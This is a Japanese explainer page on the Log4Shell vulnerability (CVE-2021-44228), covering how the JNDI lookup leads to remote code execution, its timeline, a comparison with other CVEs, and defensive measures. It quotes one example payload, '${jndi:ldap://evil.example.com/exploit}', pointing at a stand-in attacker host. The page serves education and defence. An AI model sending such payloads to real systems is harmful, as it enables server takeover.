Webアプリケーション攻撃

Log4Shell ろぐふぉーしぇる

Log4jRCE(リモートコード実行)JNDICVE-2021-44228ゼロデイ脆弱性Javaライブラリ
Log4Shellについて教えて

簡単に言うとこんな感じ!

Log4Shellは、世界中のサーバーで使われているJava製ログ記録ツール「Log4j」に見つかった超ヤバい脆弱性だよ。攻撃者が特殊な文字列を送り込むだけで、そのサーバーを乗っ取れちゃうんだ。2021年末に発覚して「史上最悪級の脆弱性」とも呼ばれたってこと!


Log4Shellとは

Log4Shellとは、Javaのログ出力ライブラリ「Apache Log4j 2」に存在した重大な脆弱性(セキュリティ上の欠陥)の通称です。正式な識別番号は CVE-2021-44228 で、2021年12月9日に公開されました。CVSSスコア(脆弱性の深刻度を示す指標)は満点の 10.0、つまり「考えうる限り最も危険」と評価されています。

この脆弱性の本質は、攻撃者が用意した外部サーバーから任意のプログラムをダウンロード・実行させられる(リモートコード実行=RCE)点にあります。攻撃に必要なのは、たった1行の特殊な文字列をサーバーに「読み込ませる」だけ。チャット欄、ログイン画面、検索ボックスなど、入力が記録される場所ならどこでも攻撃が成立し得るため、影響範囲は世界規模に広がりました。

Log4jはJavaで書かれたソフトウェアの多くに「部品」として組み込まれており、Minecraft・Twitter・Amazon・Apple・Microsoftなど数え切れないほどのサービスが影響を受けました。「自社のシステムがJavaを使っているかどうか把握していない」という企業も多く、パッチ適用(修正プログラムの適用)に追われた2021年末は「セキュリティ業界のクリスマス大惨事」とも言われました。


Log4Shellの仕組み:なぜ1行で乗っ取れるのか

JNDI Lookupという「便利機能」が凶器になった

Log4jには JNDI(Java Naming and Directory Interface)Lookup という機能が組み込まれていました。これは「ログに記録するときに、外部のディレクトリサービスから情報を引っ張ってきて埋め込む」という便利な仕組みです。

ところが、この仕組みをそのまま悪用できてしまいました。

攻撃者が送り込む文字列の例:
${jndi:ldap://evil.example.com/exploit}
ステップ何が起きるか
① 攻撃者が特殊な文字列を送信チャット・検索欄・User-Agentなどに上記の文字列を入力
② サーバーがログに記録しようとするLog4jが文字列を処理し始める
③ JNDIが外部サーバーへ接続evil.example.com に自動でアクセス
④ 悪意あるJavaクラスを取得攻撃者のサーバーからコードをダウンロード
⑤ コードが実行されるサーバー上で攻撃者の命令が動く(乗っ取り完了)

攻撃が成立するための条件

  • Log4j 2.0-beta9 〜 2.14.1 を使用している
  • Javaのバージョンが特定のバージョン以下(Java 8u191以前など)
  • サーバーが外部インターネットへの通信を許可している

この3つが揃うと、ほぼノーガードで攻撃が成立しました。

「Log4Shell」という名前の由来

部分意味
Log4Apache Log4j(ログライブラリの名前)
Shell攻撃者がサーバーでシェル(コマンド操作)を得られること

「ログを記録するだけのツールを踏み台にシェルを奪う」という攻撃の本質を端的に表しています。


歴史と背景

  • 2001年頃 Apache Log4j(バージョン1系)がオープンソースとして公開。Javaアプリのログ出力ツールとして急速に普及
  • 2014年 Log4j 2系にJNDI Lookup機能が追加される。当時は「便利な拡張機能」として設計
  • 2021年11月24日 セキュリティ研究者(Alibaba Cloudチーム)がApacheに脆弱性を報告
  • 2021年12月9日 Minecraftのコミュニティフォーラムに概念実証コード(PoC)が流出・公開。脆弱性が世界に知れ渡る
  • 2021年12月10日 CVE-2021-44228として正式に公開。各国のセキュリティ機関が緊急警告を発令
  • 2021年12月13日 修正版 Log4j 2.15.0 リリース(ただし不完全)
  • 2021年12月18日 さらなる脆弱性(CVE-2021-45046)が発覚し、2.16.0がリリース
  • 2021年12月28日 Log4j 2.17.1 で一連の脆弱性がほぼ収束
  • 2022年〜現在 古いシステムへの攻撃は継続中。パッチ未適用のサーバーが依然として標的に

影響範囲と対策の比較

Log4Shellが「史上最悪級」と言われる理由は、影響範囲の広さと攻撃の容易さのバランスにあります。

Log4Shell:攻撃の流れ 攻撃者 特殊文字列を送信 攻撃者の LDAPサーバー 攻撃者の マルウェアサーバー 被害サーバー Log4j 2 (脆弱なバージョン) JNDI Lookup 外部URLへ接続 悪意あるクラスを ロード・実行 サーバー乗っ取り RCE成功 ① 送信 ② ログ記録 ③ LDAP問合せ ④ 参照先 ⑤ DL指示 ⑤ DL ⑥ 実行 攻撃者側 被害サーバー側 攻撃成立

他の重大脆弱性との比較

脆弱性名発覚年CVSSスコア影響範囲攻撃の難易度
Log4Shell (CVE-2021-44228)202110.0非常に広範極めて低い
Heartbleed (CVE-2014-0160)20147.5OpenSSL利用全般低い
ShellShock (CVE-2014-6271)201410.0Bash利用環境低い
EternalBlue (CVE-2017-0144)20178.1Windows SMB中程度

企業が取るべき対策(優先順位順)

優先度対策内容効果
🔴 最優先Log4j を 2.17.1 以上にアップデート根本解決
🔴 最優先Java のバージョンを最新に更新攻撃経路の一部を遮断
🟠 高WAF(Webアプリケーションファイアウォール)で攻撃文字列をブロック暫定対処
🟠 高外向きのLDAP/RMI通信をファイアウォールで遮断攻撃の後段を阻止
🟡 中Log4j使用箇所の全棚卸し影響範囲の把握
🟡 中侵害痕跡(IOC)のログ確認事後の被害確認

関連する規格・RFC

規格・番号内容
CVE-2021-44228Log4Shell 本体の脆弱性識別番号
CVE-2021-45046Log4j 2.15.0 で不完全だった修正に対する追加脆弱性
CVE-2021-45105DoS(サービス停止)を引き起こす関連脆弱性
CVE-2021-44832設定ファイル改ざんによる関連脆弱性
CVSS v3.1脆弱性の深刻度スコアリング規格(Log4ShellはMAX 10.0)
NIST SP 800-40パッチ管理のベストプラクティスガイド

関連用語